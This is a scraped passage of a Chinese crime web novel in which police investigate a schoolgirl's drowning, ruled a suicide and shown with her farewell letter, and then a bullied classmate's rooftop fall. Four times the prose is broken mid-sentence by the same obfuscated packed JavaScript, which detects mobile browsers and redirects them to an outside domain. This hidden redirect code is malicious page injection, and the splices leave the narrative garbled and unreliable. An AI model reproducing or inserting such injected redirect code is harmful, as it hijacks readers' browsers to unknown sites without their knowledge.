“好,”陆闻站起身,笑着点了点头道,“我们大概了解了,那就先这样,谢谢你的配合,我们先走了。” “没关系,两位警察同志慢走。” 离开教师办公室后,两人一前一后下了楼。虽然他们对于家属和学校这边,有了大致的了解,不过能掌握到的消息少之又少。 季清君虽因家庭的原因一直压抑着,不过她在失踪之前,应该并没有准备离家出走的打算。 那么还有另一个可能,季清君大概已经被人限制了行动。 如果真是这样,那就再剩下两种情况,作案人的目的是为钱,那么在季清君失踪不久之后,其家属大概率会收到勒索电话。 反之,过了这么久还没有半点儿消息,季清君遇害的可能很大。 这么想着,陆闻突然意识到,他们必须要抓紧才行。不过,距离季清君失踪已经有一周多的时间,只能希望他们还不算太晚。 陆闻开车停在城东分局的楼下后,车上一左一右下来两人。这边还没等齐况下车站稳,那边陆闻已经三步做两步快速进了楼里。 两人到的时候,林一然和苏乐正趴在电脑前查看监控,还是陆闻先开的口:“怎么样了?” “陆队,”林一然将目光移到了坐在他旁边的陆闻身上,“能看的监控我们都看了,不过距离季清君失踪已经过了十天左右,部分监控能保存的时间比较有限。” 随后跟进来的齐况,在陆闻和林一然的身后站定,他紧盯着面前的电脑屏幕,问道:“那在其他的监控里,有没有什么可用信息呢?” “有。”苏乐点点头,将屏幕上的监控录像按了暂停:“在七中和季清君家之间的路口有一个监控,视频显示,季清君当天是在下午的6点左右,从学校出来并且过了马路,大概十分钟之后,季清君又从那里折返回学校附近。” “季清君在学校附近等了大概八分钟,然后在接到一通电话后,走出了监控画面,之后就再没有在画面中出现过。” “而在当晚的8点之后,徐女士从路口穿过,那时应该是她意识到季清君可能已经失踪,下楼到学校附近寻找季清君。” “那一通电话很重要,”陆闻摸着下巴,若有所思地开口道,“如果是季清君除作案人之外最后见的人,那么他很有可能知道季清君的去向。如果他是作案人……” 能拥有季清君的联系方式,同时能通过电话左右季清君的行动,或许是熟人作案。 “陆队陆队!” 陆闻坐在办公室里看案卷看的差点睡着,谁知下一刻,就被林一然的推门声给吓得一激灵:“怎么了?” 林一然撑在陆闻的办公桌前,努力调整着自己呼吸的节奏,等稍微平静一些后,他才继续道:“他们在临溪路附近的湖里面发现了尸体,很有可能就是季清君!” “什么?”陆闻眉心一跳,猛地站起身就准备出去,林一然跟在他后面,突然听到前面的人问了句,“现在都还在现场吗?” “对,他们在七中附近寻找季清君的时候经过临溪路,就想着去湖边看看,没想到在一堆水草附近发现了浮尸。” “告诉苏乐,让她查查临溪路附近的监控。” “好。” 陆闻开车到达林一然所说的地点时,尸体已经被从湖里打捞了出来。他第一时间去了尸体那边,韩唐正对尸体进行初步的检验。 “现在怎么样了?” “目前来看,尸体在水里的时间不低于一周,不过很多细节的东西,还需要在进一步的了解之后才能知道。” “好,有什么发现记得和我联系。” 陆闻拍了拍韩唐的肩膀,转身去了湖附近正在拍照取证的警员旁边,虽说这边平时没什么人,不过毕竟是公共场地,找起线索是要麻烦些的。 他沿着湖岸仔细查看了一番,这条湖面积不大,早期因为修筑公路,建筑队在这里挖了个大坑,后来就变成了这样。 不过,这一片正在开发之中,且周围没什么娱乐设施,所以平时也没什么人过来。 而且…… 他将目光移到身后的路灯杆上,是这附近唯一装有监控的位置。 陆闻正盯着那里出神,口袋里适时响起的电话铃声,猛地将他的思绪拉回:“喂一然,什么事?” 电话那边的林一然不知说了些什么,陆闻不由自主地挑了一下眉,像是在自言自语:“果然啊。” 良久,他有些无奈地长叹了一声:“行,辛苦了,剩下的等我回去再说吧。” 挂断电话之后,陆闻把手机放回兜里,然后有些不耐地挠了挠后脑勺的头发—— “有点难办呐。” 陆闻和现场勘查的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985471|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同事一起回到队里时,齐况和苏乐正在接待室里,安慰着情绪有些激动的季清君妈妈。 陆闻靠在门口却没进去,只是探出半个脑袋往里面看了一眼,还是齐况先发现的来人,出了接待室后,又跟着他往那边多走了几步。 徐女士的哭声随着他们走远也渐渐消失在了身后,走在前面的陆闻在长廊尽头停下,而后转身看向跟上来的齐况。 “确定了?” “嗯。”齐况知道陆闻指的是哪件事,所以便如实点点头,接着答道,“DNA检测结果显示,在临溪路发现的尸体确实是季清君。我们在通知了徐女士之后,她的情绪就一直很不稳定。” “我去看看。” 言罢,陆闻拍了拍齐况的肩,绕过他进了接待室里。苏乐正坐在徐女士旁边安抚她的情绪,陆闻走到两人面前站定,齐况随后也跟了进来。 “徐女士,我们非常理解您的心情,但我们现在掌握的证据还很少,也希望您能重新振作起来,帮助我们一起找出季清君死亡的真相。” “我……我能去看看我的女儿清君吗?” 良久,徐女士抬起头,大概是哭了很久的原因,她的眼眶已经有些红肿:“我听说,她是从湖里打捞出来的?都怪我,如果不是因为我没及时报警,说不定她就不会……” “很抱歉徐女士,不过你最好还是不要去看比较好,季清君她……” 陆闻有些为难,按理说有家属想要见死者最后一面,他们是不应该阻拦的。可季清君现在的尸体情况并不算好,连他们这些专业的警察都需要很大的勇气,更不用说至亲的家人了。 好不容易说服徐女士之后,陆闻让齐况和苏乐先送她回去,而他自己则是去了警员办公室。谁知才刚进门,就见一团黑影猛地窜到他眼前—— “陆队!”挡在陆闻面前的正是林一然。 作为土生土长的蓝海人,陆闻对自己184左右的身高真的已经很满意了,没想到之后来了个林一然,虽只比他高出个几厘米,却总让他有种伤害不大侮辱性极强的错觉。 现在这些孩子都是吃什么长的? “咋了?”陆闻微一皱眉,这才想起来之前自己和林一然在电话里说的事情,“哦对了,我想起来了。” “所以说,现在的线索是不是全断了?” “如果不能知道季清君最后一通电话是给谁打的,想要抓住作案人确实有些难度,不过还是再等等韩法医那边怎么说吧。” 再次返回到警员办公室的齐况和苏乐在看到门口的身影时,便走过去在两人之间站定—— “陆队,”苏乐首先喊了一声,“听一然说,临溪路那边的监控最多只能看到七天前的视频,那我们接下来怎么办?” “现场监控看不了,也没找到什么重要的线索,而且看季清君妈妈的情绪,估计暂时也不适合再给我们提供证据了。” 陆闻耸了耸肩,表示自己现在也没什么思绪。他们是警察又不是神,不是说接到的所有案件最后都能找到凶手,有时候他们也是心有余而力不足。 不过,在结果未定之前,他们一定会尽最大的努力的。 16. 与梦同坠 因为陆闻的这句话,其余几人顿时都像霜打的茄子似的有些蔫儿巴,最后还是不知道是谁口袋里的手机突然响起,这才打破了他们之间的宁静。 几人都下意识地摸了摸自己口袋的手机,直到铃声戛然而止,他们这才注意到陆闻已经接下了来电—— “喂,韩法医。” 一听是韩唐那边打来的电话,几人又将目光都集中在了陆闻那边,说不定正是季清君案有了新的进展。 不知电话那边的韩唐说了什么,只听陆闻长叹一声,而后揉了揉眉心:“行,我知道了,辛苦了。” “怎么样了陆队?”见陆闻挂断电话,林一然立刻凑上去问了一句。 陆闻握住手机的手指不自觉地收紧,而后低下头闭了闭眼:“韩法医说,季清君应该是自杀。” “啊?” 听到这话的几人多少都有些震惊。 虽说往年因为高考压力大而选择自杀的学生不在少数,可他们在监控画面里看到的季清君,怎么也不像是去自杀的啊。 陆闻短暂地收拾好情绪,再抬起头时,脸上的表情已不起任何波澜:“韩法医说,死者尸体无明显创伤,且符合生前溺水的特征。除此之外,再也没有更多的信息了。” “当然,如果连我们这边也找不到任何有关作案人的线索,那么死者是自杀的可能性很大。” 见几人都撇着嘴不说话,陆闻就近拍了拍旁边林一然的肩膀,补充道:“季清君手机号码的通信记录拿到没?赶快打起精神,现在可不是退缩的时候。” 林一然这才想起来,还有这最后一条有用的线索等着他们,在这之前,谁也没理由提前放弃。 “好的陆队,我马上去看看。” 其余人各自回到自己的工位上后,齐况又将从季清君家里带回来的那本日记,拿出来放在面前的桌子上。 大约有一指多厚的笔记本里,每一页都写满了季清君这高中三年的日常与感想。 其实在真正读过这本日记之后,就会发现有些事情,或许都是有迹可循。 在家长不断施加的压力之下,季清君明明尝试过沟通和反抗,可惜那声音太小,又或是太平常,大概是听的多了,便没人会在乎那些少年心中,他们最真实的想法与向往。 于是有一天,就连他们自己也忘了。 “陆队,季清君接到的最后一个电话,通话记录显示是她的爸爸。” “清君……我的清君!”接待室里,徐女士因承受不住季清君是自杀的结果,难过的跪在地上痛哭起来。 一旁的苏乐立刻弯下身要将她扶起:“徐女士,请您节哀。” “我的清君这么乖,怎么会忍心就这样抛下我和她爸呀!”徐女士拍着面前的茶几,撕心裂肺地喊叫着,“我的清君,她才只有18岁啊!” 齐况得知徐女士已经来到这边的消息后,便带着东西赶了过来。 刚走到接待室的附近,徐女士哭喊的声音就穿过玻璃门传了出来,同时,他还看见了站在门外的一位男士。 “你好——”齐况在那人面前停下,“我是这里的警察,请问你有什么需要帮助的吗?” “哦,不,不用。”那位男士回过神,抬手擦过眼睛之后,才转头看向问话的齐况,“我是……季清君的父亲。” “原来……”齐况的嘴唇动了动,最终还是将要说的话给咽了回去,“那个,你不进去吗?” “不了。”季清君父亲摆摆手,那只爬满了厚茧的粗糙的手。 他偏过头瞥了一眼齐况,那双布满血丝的眼睛和眼下的青黑,似也说明了他这段时间并不好过。 或许是生活的担子压的太重,又或是女儿去世的消息打击太大,明明是正值壮年的他,此刻看起来却要比常人苍老许多。 他不能像徐女士那样跪在地上,尽情地发泄着自己的丧女之痛,只有躲在这里,躲在无人的角落,无声地表达着自己的情绪。 齐况推开门进去的时候,陆闻正靠在那边的木桌旁,平静地看着沙发边蹲着的苏乐和跪坐在地上的徐女士两人。 大概是用余光看见有人影进来,陆闻将视线移到那边,首先开口道:“你怎么过来了?” “啊……”齐况捏着笔记本的手指紧了紧,而后转身面向那边的人,“徐女士,这个笔记本,是您女儿生前写的日记,当时为了查案我拿回来过,现在还给您。” “还有,我刚刚才在这本笔记本的夹层里,看见了季清君留下来的一封信。” “日记……信?”徐女士吸了吸鼻子,站起身走到齐况面前,伸手接过了他手里的笔记本。 她不记得自己的女儿有写日记的习惯。 还没来得及擦干的眼泪,滴落在被翻开的笔记本上,徐女士看着那熟悉的字体却有些陌生的语句,是季清君从来不会在她面前说出的话语。 “不是这样的……不是这样的!” 不知是看到了哪一页的内容,徐女士突然紧紧抱住笔记本,弯身痛哭起来:“我的清君,我的女儿!不是这样的,妈妈只想你能好好的,妈妈是爱你的啊!我的女儿……” 看着徐女士悲痛的模样,齐况多少有些于心不忍,却还是将心底一直想说的话说了出来:“徐女士,我不知道季清君生前的学习习惯是什么样子的,不过从这本日记看来,我觉得她是压抑的。” 徐女士捶着自己的胸口,似乎只有这样,才能稍微减轻些那里的疼痛。 她努力让自己能平静下来,却还是止不住地抽噎着:“那是我的亲女儿,是我唯一的女儿啊,我比谁都希望她能过得更好!” “那你有没有想过,或许你口中的爱,有天也许会成为束缚住她的枷锁?” 闻言,徐女士的哭喊声戛然而止,她泪眼婆娑的看向齐况,像是突然想到了什么,她双手卸了力的跪坐在地上。 于是怀里的笔记本和那封信,都掉下来摊在了地上—— 以此信,纪青春: 亲爱的妈妈,当你看到这封信的时候,或许我已经辜负你的期待,独自去了远方,你不必找我,因为那是我一个人的乌托邦。 在逝去的一千多天的时间里,我常常在想,自己究竟是在为了什么而活?可是,当我看见往来奔走的外卖员,看见西装革履的办公室白领,看见独自开到深夜的烧烤摊,看见灯火通明的高楼林立,我好像在某一刻明白了,我是在为你的期待而活。 众生百态,人间烟火。而我,偏要按照你规定的路线走下去,稍有不慎,不知劝诫和自责哪个会先到来。而我,就这样背着个硕大的包裹,歪歪倒倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985472|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却又小心谨慎地走在没有尽头的独木桥上。 听同学说,其实在平行世界里还生活着另一群,和这里完全相反的我们,当时我真的很高兴,还好被拴住翅膀的是这个世界的我,这样另一个世界的我,就能好好享受自由和亲情了吧。 于是我开始幻想着,她的生活会是怎么样的?我记得她在初中的校园知识竞赛上只得了第三名,回家之后,她有被妈妈提着木棍教训吗?初三她因为考上七中想和爸妈一起去水上乐园,最后去成了吗? 我还记得,高一时她因为粗心丢了最后一道大题的分,妈妈应该不会把她关在房间里反省,还会做她最爱吃的糖醋排骨安慰她吧? 这样的话就好了,我也就可以安心了,好在另一个世界的我,能够不被束缚着,过她真正想要的生活…… 而我,也想有这么一次机会,能真正的为我自己做选择。 人生如白驹过隙,属于季清君的时间已经停止,可高考的倒计时却永远不会停止。 就在距离高考还有一周左右的时间,第七中学又发生了一起命案。命案发生时,现场共有四人在场,其中包括受害者。 陆闻接到消息赶去学校时,警员正在周围拉起警戒线,将案发现场与那些看热闹的学生隔开来。 他双手环抱,抬头往眼前的教学楼天台看上去:“坠楼?” “陆队,受害者的班主任来了。” “嗯,”陆闻回过神,转身朝已经走到自己面前的一名年轻女性点了点头,“你好,陆闻。” “陆警官你好,我叫连祈筠,是林小生的班主任。” 连祈筠的年纪看起来不大,长相和穿着打扮都比较温柔。 要说给陆闻的第一印象,倒真不像是位班主任,除非她有两幅面孔,不然想震慑住一整个班的学生,估计有些困难。 “方便向您了解些情况吗?” “当然。” 得到肯定之后,陆闻思考着,向连祈筠问出了第一个问题:“林小生,平时在你们班里怎么样啊?” “林小生平时在班里挺乖的,”话音未落,连祈筠突然有些不好意思,“起码在这段时间里,他给我的印象是这样。” “因为我们班学生的学习成绩,总体来说比较靠后,也有一部分比较难管理的学生,所以我们班级经常换班主任,我也是才接管这个班级没几天。” 毕竟她刚参加工作不久,给优秀的班级教书她还排不上号,索性就把这个问题班级扔给她管理,说不定还能趁此多磨练磨练。 “林小生的性格是比较安静的,对同学们也很有礼貌。不过大概是不爱说话的原因,所以我并没有见过他有什么玩的好的朋友。” 陆闻微一皱眉,突然觉得这段话有些耳熟,他没忘记的话,当时季清君的老师好像也是这么评价她的。 “那林小生最近在班里有什么异常吗?” “异常倒没有,只是……” 说到此处,连祈筠欲言又止,就在陆闻的耐心将要被耗尽的时候,她才有些小心地开口道:“只是听说班上有几个学生,特别喜欢欺负他。我不知道这个信息,对陆警官有没有用……” 连祈筠的声音越来越小,陆闻连忙点头应道:“当然有,还请连老师能说说,是哪种程度的欺负吗?” 17. 与梦同坠 和连祈筠进行一番交谈之后,陆闻终于了解到了些关于受害者林小生,平时在学校里的行为习惯。 林小生是艺术类特长生,少时父母离异,他一直跟在爷爷奶奶的身边。 大概是因为小时候,他练过一段时间的声乐,对其产生了极大的兴趣,所以后来他就想着能报考艺术类院校。 只不过,或许是父母离异对他的影响很大,跟随爷爷奶奶生活后的林小生,逐渐变的安静内敛,不愿说话和结交朋友。 连祈筠口中那三个经常欺负林小生的学生,是初中后和林小生一起升上来的同学,因为这些事不知被连祈筠叫过多少次,却好像都无济于事。 恰好的是,林小生坠楼时那三个在场的学生,和连祈筠口中欺负林小生的三个学生,都是同一人。 而这次的林小生坠楼案,如果排除了受害者自杀,恐怕陆闻第一个要找的,就是这几个学生。 再回到现场时,林小生的尸体已经被法医鉴定中心的人移走,而之后赶来的齐况三人,也已经加入了取证搜查的队伍之中。 陆闻走到还在边上记录尸检结果的韩唐那里,首先开口问道:“受害者的死因是坠楼吗?” “死者符合生前坠亡的特征,但尸体上有多处被殴打的痕迹,现在还不好判断。” 陆闻微一皱眉:“被殴打伤?” 见韩唐点头,陆闻有些出神。如果林小生生前确实和人发生过争执,那连祈筠口中,也就是案发时在场的那三个学生,或许是突破口。 陆闻去到教学楼天台的时候,齐况正蹲在那边收集现场的证据,他径直走到后者身边,而后歪头观察起地上的痕迹。 “陆队,”大概是察觉到周围有异样,齐况猛地抬起头,和陆闻四目相对不过几秒,他就立刻站起身来,“怎么样了?” “刚才和受害者的班主任了解了一些,关于受害者生前的行为习惯,一两句话也说不好。” 齐况若有所思地点点头:“不过,我觉得受害者坠楼前,这里应该不止他一个人在。” “嗯,有目击者说林小生坠楼时,这里确实有三个人在场,韩法医也说了受害者生前遭到过殴打,我刚让苏乐去学校监控室调监控了。” 齐况应下一声,而后又继续寻找可能还未被发现的证据。他弯下身,将一块细木板移到旁边,却看到一块类似于金属装饰物的东西躺在地上。 三角形的铁片上刻着几个字母,顶端的圆孔应该是用来穿引绳链的地方。上面除了灰尘并没有粘连上泥巴,可能是近期被遗落下来的东西。 “林小生有戴着什么装饰品吗?” 同样在附近搜寻线索的陆闻看向齐况,如实摇头道:“没太注意,要不我打电话问问韩唐?” 见齐况点头,陆闻从口袋里掏出手机正准备给韩唐打电话,手机却先他一步响起了铃声。他看着屏幕上的来电显示,旋即按下接听键—— “喂,怎么了?” 齐况看着陆闻愈发严肃的表情,却没再多等,而是将那块三角铁片放进了证据袋里。 两人的通话时间并不长,陆闻挂断电话后,齐况才起身走到他面前:“怎么了?” “一然说,受害者的父母不打算过来,而两位老人年纪太大,要是知道了这个消息,恐怕受到的打击也会很大。” “那要不要去和受害者的父母沟通一下?” “不管怎么说,先去看看吧。” 两人一前一后下了楼,按着林一然发过来的住址,陆闻决定先去林一然的父亲那里。 从一片老街区的巷子穿过去,便来到了由四层高的出租楼围成的大院子里。陆闻看着手机上的对话信息,首先开口道:“左边楼梯上去三楼最里面那间,走吧。” 齐况点点头,跟在陆闻后面来到了一扇门前。比起旁边几户门口挂满的衣物不同,这里的墙边堆满了酒瓶和垃圾袋。 陆闻抬手屈指叩响了门,里面不大不小传来了一个男性的声音,而后木门吱呀一声,被从里面打开了来。 “你们是谁啊?” 迎面便是一股酒气。 陆闻忍住想要后退的念头,快速地观察起眼前的人,一件白色老头背心和浅棕色长裤,头发已经长到快要完全遮住眼睛。 一旁的齐况首先向他出示了警察工作证:“我们是城东分局的警察,你就是林小生的父亲林风吧?” 林风没立刻回答,再开口时却满是不耐烦的语气:“我不是说了,这件事儿我不管的吗?” 陆闻微不可察地皱了皱眉头:“我们知道林小生的家庭情况特殊,不过你是他的父亲,出了事情我们当然会首先联系你。” “你们知道啥呀知道?”林风没好气的朝两人摆摆手,“走走走,林小生的事儿跟我没关系!” 陆闻还没来得及说话,面前的木门就啪的一声被合上。他深吸一口气,倒也没想着再把人给揪出来,毕竟他当警察这么多年,碰到过各种各样的人也不少。 “走吧,去林小生的母亲那里看看。” 于是两人又驱车去了林小生母亲所在的小区。 这边的小区看起来有些年头,楼房统一都不高,附近还建有供老年人锻炼的设施,虽然已经接近傍晚,楼下的空地却还有不少人坐在一起聊天或下象棋。 某栋楼顶层的厨房亮着灯,田琪正站在水池前,清洗待会儿要用到的辣椒。 门外忽地传来几声敲门声,她擦干手准备过去时,一个小身影却已经先她一步开了门。 “是爸爸回来了吗?” 田琪微笑着走过去,却在转眼看清门外的两人后,露出了些警惕之色:“请问你们是?” “我们是城东分局的警察,请问您就是林……” 陆闻的话还没说完,就被田琪硬生生地给打断了:“阳阳,先回自己房间玩儿。” 名叫阳阳的小男孩儿点点头,然后就乖乖跑回自己的房间关上门。田琪长吸了一口气,却没有要让他们进来的意思。 她走到门前,还未等陆闻继续问完刚才的问题,便首先开口道:“警察同志,你们也看到了,我现在已经有了新的家庭。林小生是谁或者出了什么事,和我都没有关系了,你们请回吧。” “不好意思田女士,”陆闻伸出手按住田琪准备关上的门,“现在的情况是,林小生很有可能是受害者,而害他的凶手仍在逍遥法外。两位老人年纪都大了,而你是孩子的母亲,你不想为林小生找出凶手吗?” 田琪没立刻说话,良久,她扯起嘴角露出了个意味不明的笑容:“警察同志,这样说吧,里面那个才是我的孩子,我有孩子,不过不是林小生。” “很抱歉,林家的事情跟我没关系,我有我自己的生活,希望两位警官不要再因为这件事过来找我了。” 田琪说完,握住门把的手往前一推,便将陆闻两人隔在了外面。 连吃两次闭门羹,陆闻觉得自己下一秒就会爆炸。他闭了闭眼,转身看向身后的齐况:“你说说你说说,这都啥意思啊?” 齐况还是第一次见陆闻被家属气到炸毛,虽知这时候不应该,却还是没忍住在心底笑了一下。 “或许是有什么难言之隐呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985473|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”齐况轻叹一声,眉头不自觉地皱成一团,“看来,我们只能联系林小生的爷爷奶奶了吧?” “嗯。”陆闻有气无力地应了一声,“不过现在已经挺晚了,还是不要去打扰两位老人了,明天再说吧。” “好。” 两人回到分局之后,林一然将下午找到的线索,向陆闻做了简单的说明—— “由于这栋教学楼的天台很少有人上去,所以那里的监控并没有打开。只有在顶层楼梯间的监控里,有受害者林小生和同班的三位同学先后出现在画面里。” 林一然指着移动电视里的监控画面截图,上面清晰的出现了两名男生和一名女生的面孔。 “在案发当日的下午4点23分,林小生首先上到天台,大概过了十七分钟,同班的高明、周洛宇和宋秋秋也一同上了天台。在二十五分钟之后,除林小生之外的其余几人下楼,随后林小生被人发现坠楼。” 坐在会议桌前的陆闻,正有一下没一下地转动着手中的笔:“那这期间,有没有其他人从这里上过楼?” 林一然摇摇头:“因为之前七中也发生过坠楼事件,所以平时很少有学生会往天台上去。” “好。”陆闻调整了个坐姿,然后将目光移到旁边的白板上,上面贴着林小生的照片和关系图,以及在现场找到的一些线索。 良久,他才抬手看了眼手腕上的表,继而站起身道:“明天联系高明周洛宇和宋秋秋过来做笔录,至于两位老人那边,还是慢慢告诉他们吧。” 回到自己的办公室之后,陆闻在办公桌前低头徘徊了好一会儿。 突然,他绕过办公桌,从抽屉里拿出一盒方块积木,一块一块垒成高塔,再随机从积木塔里抽出,直到最后上面的积木都塌下来,再重新开始。 这是陆闻在案件线索中断时过渡,或者用来缓解情绪的方法。不知重复了多少遍,他胸中的烦闷才稍微得以缓解些。 第二天一早,齐况经过陆闻的办公室时,正好透过门缝看见一抹人影闪过去。他走过去推开门,大概是听见声音,陆闻也转身朝外面看过去。 四目相对不过几秒,陆闻又继续低头整理自己外套的衣领,还是齐况先开口道:“陆队今天这么早。” “啊……嗯。”陆闻点点头,而后走到办公桌前坐下,“怎么了?” “没什么。”齐况抬步走进去,却看见办公桌旁沙发上的小毛毯,和茶几上还没来得及收起来的洗漱用品,“陆队要不要一起去吃个早饭?” “也行,正好我也饿了。” 分局的食堂面积不大,不过因为局里多是些大小伙子,所以食堂的早点也都是分量很足的包子馒头,油饼热粥之类的。 这时候食堂里的人不多,两人就随便找了个位子坐下。 陆闻端起碗喝了一口热粥,不知是不是因为从昨晚就一直没吃东西,此刻的这碗粥,倒让他觉得连整个身体都放松了些。 “对了。”陆闻把嘴里的馒头咽下去,才继续道,“等会儿高明他们来了,你和我一起去审讯室听听,帮我压着点儿,他们几个都是孩子,我怕到时候收不住。” “好。” “哎一然,”两人从食堂回来的时候,正好碰上准备出去的林一然,“准备去哪儿啊?” “陆队,齐哥,”林一然朝两人挥了挥手,“我和苏乐要去林小生家,看看能不能向两位老人问出些线索。” “嗯,”陆闻点点头,又补充道,“两位老人年纪大了,说林小生的事儿的时候,尽量悠着点儿啊。” “放心吧陆队,我先走了。” 18. 与梦同坠 齐况回到自己的座位前坐下,桌上放的是林一然带来的早餐奶。从他来到城东分局之后,只要是哪天林一然没来得及吃早餐,他都会收到一盒林一然带来的早餐奶。 他把牛奶放进桌上的收纳盒里,继续之前没有做完的工作。不知过去多久,有人从后面拍了下他的肩膀,继而陆闻的声音响起—— “走了,去审讯室。” 陆闻转动把手,将审讯室的门推开,能看见此刻正低头坐在里面的女生——宋秋秋。她只穿着一身简单的衬衫搭配牛仔裤,乌黑的长发被高高束起。 走在大街上时,谁又会想到,明明看起来是这么普通的女孩儿,竟然会对自己同班的同学使用暴力。 不。 从来没有什么规定说,校园暴力者的外表或性格该是什么样儿,人人都有可能会成为暴力者,区别大概就是对他人造成的伤害程度不一。 而很多起案件的真凶,往往也会是放在人群中最普通的那类人。 他们常因生活的不如意,感叹上天的不公,或是挡在他们面前的那块大石头。继而他们选择要抗争,可抗争的手段,却是搬起那大石头,砸向本无辜的人。 既然我过得不好,那别人也别想好过。 也正是因为这样的一句话,往往给不知道多少个家庭,带来了无法挽回的痛苦。 “报一下自己的身份信息。” “宋秋秋,18岁,第七中学高中部的学生。” 陆闻拿起宋秋秋的身份证看了一眼,而后抬起头问道:“5月29日的下午4点20分之后,你在哪里?” 听到这个时间,宋秋秋的表情却没什么太大的变化:“肯定在学校啊,那天是星期五,我在教室上课呢。” 陆闻没立刻说话,他将桌上那张照片举起来,另一只手指向监控截图中那名女生的脸:“这是你吧?29日下午4点23分,在博闻楼顶层的楼梯间里,你,和高明周洛宇两人。当然,还有……林小生。” 说到林小生的名字时,陆闻紧紧盯住眼前的女生,试图从她表情或动作的变化中能发现些什么。 果然,宋秋秋的手指不由自主地蜷缩一下,而后她有些不自在的挪动了下身体:“是,我们当时,确实看到林小生了。” “因为当时我心情不太好,想找个没人的地方放松一下,就拉着高明和周洛宇一起去了天台,没想到正好碰见了林小生。” “秋秋说她奶奶生病了,一直不见好,就拉着我和高明一起去了天台谈心。上去之后也确实看见林小生了,不过那天台挺大的,我们去的是另一边。” “在那期间,你们有没有和林小生说话,或者看到他有什么异常?” “大家都是同学嘛,肯定打了招呼的。至于他有什么异常……”周洛宇皱起眉头,仔细回想着,“哦!我们看见林小生趴在栏杆前,嘴里叫着一个人的名字。” 听到此处,陆闻猛地抬起眼帘,看向有些激动的周洛宇:“谁?” “季清君。”宋秋秋抬起头,一字一顿地说出这个让陆闻两人震惊的名字,“我听的清清楚楚,他一直在说自己对不起季清君。” “我和高明还有洛宇,都觉得有些不对劲,就想问问他是怎么回事儿,却没想到他竟然像发疯了一样的让我们滚。” “我当时有些害怕,就拉着高明和洛宇一起下去了,至于后面又发生了什么,我也不太清楚。” 陆闻显然还没从刚才的震惊中反应过来。没想到上一起案件的受害者季清君,竟然会出现在这一案的证人口供之中。 “林小生认识季清君?” “当然,”高明认真地点了点头,“第七中学有初中部,我们当时就是同班,所以都认识季清君。” “初中就是同班,将近六年的时光,”陆闻有些感慨地轻叹一声,而后用带着审视的目光看向高明,“可我从你们班主任那里了解到的是,你们一直都在欺负林小生?” 闻言,高明有些心虚地转动了几下眼珠:“那是因为林小生,他太胆小了!” “什么意思?” “那要从,我们还在初中的时候开始说起。”高明的嘴唇动了动,仿佛陷入了遥远的回忆之中。 “听说,季清君和林小生之前是邻居,在班上也是挺好的朋友。那年初三,季清君被我们班的任课老师堵在办公室里,林小生本想去办公室门口等着季清君一起回家,没想到正好从门上的玻璃窗看见了……” “明明是邻居,是好朋友,明明只要喊其他的老师过来帮忙就可以,可林小生他呢,他居然害怕的跑掉了!” “后来,学校把这件事压了下去,季清君在中考之后也搬去了新家,之后就彻底没人愿意和林小生玩儿了。” “他就是个怂包,活该!”高明带着鄙夷地啐了一口,“一个男孩儿胆子那么小,连和人说话都不敢,还想着去学什么唱歌,真是笑……” “高明!” 陆闻再听不下去高明的振振有词,厉声制止了他未说出口的话:“这里是公安局,请你注意你的言辞!” 高明偏过头翻了个白眼,小声嘟囔道:“是你们让我说的吧……” 声音虽小,陆闻还是听到了高明的这句抱怨:“别人的生活别人的爱好如何,都是别人的选择,与你无关。请问林小生做出的决定,有妨碍到你吗?啊?” “可如果他当时叫人过去,季清君也不会被……” “你说的没错,如果当时林小生叫了其他的老师过来,季清君可能就不会受到那样的伤害。但你这属于是将自己的思想,强加到别人的身上你知不知道!” 陆闻气的抬手拍桌,把对面的高明吓了一跳,一旁的齐况见陆闻有些收不住,连忙伸出手推了几下他的胳膊。 “陆队,淡定。” 收到示意的陆闻点点头,尽量让自己的声音听起来足够缓和:“你要知道,不是所有的人在遇到问题时都能够一往无前。森林里除了凶猛的老虎,也会有胆小的兔子,这不是你们欺负同学的理由。” 正处于叛逆期的高明等人,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985474|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然不会听进去今日陆闻对他们的劝诫。 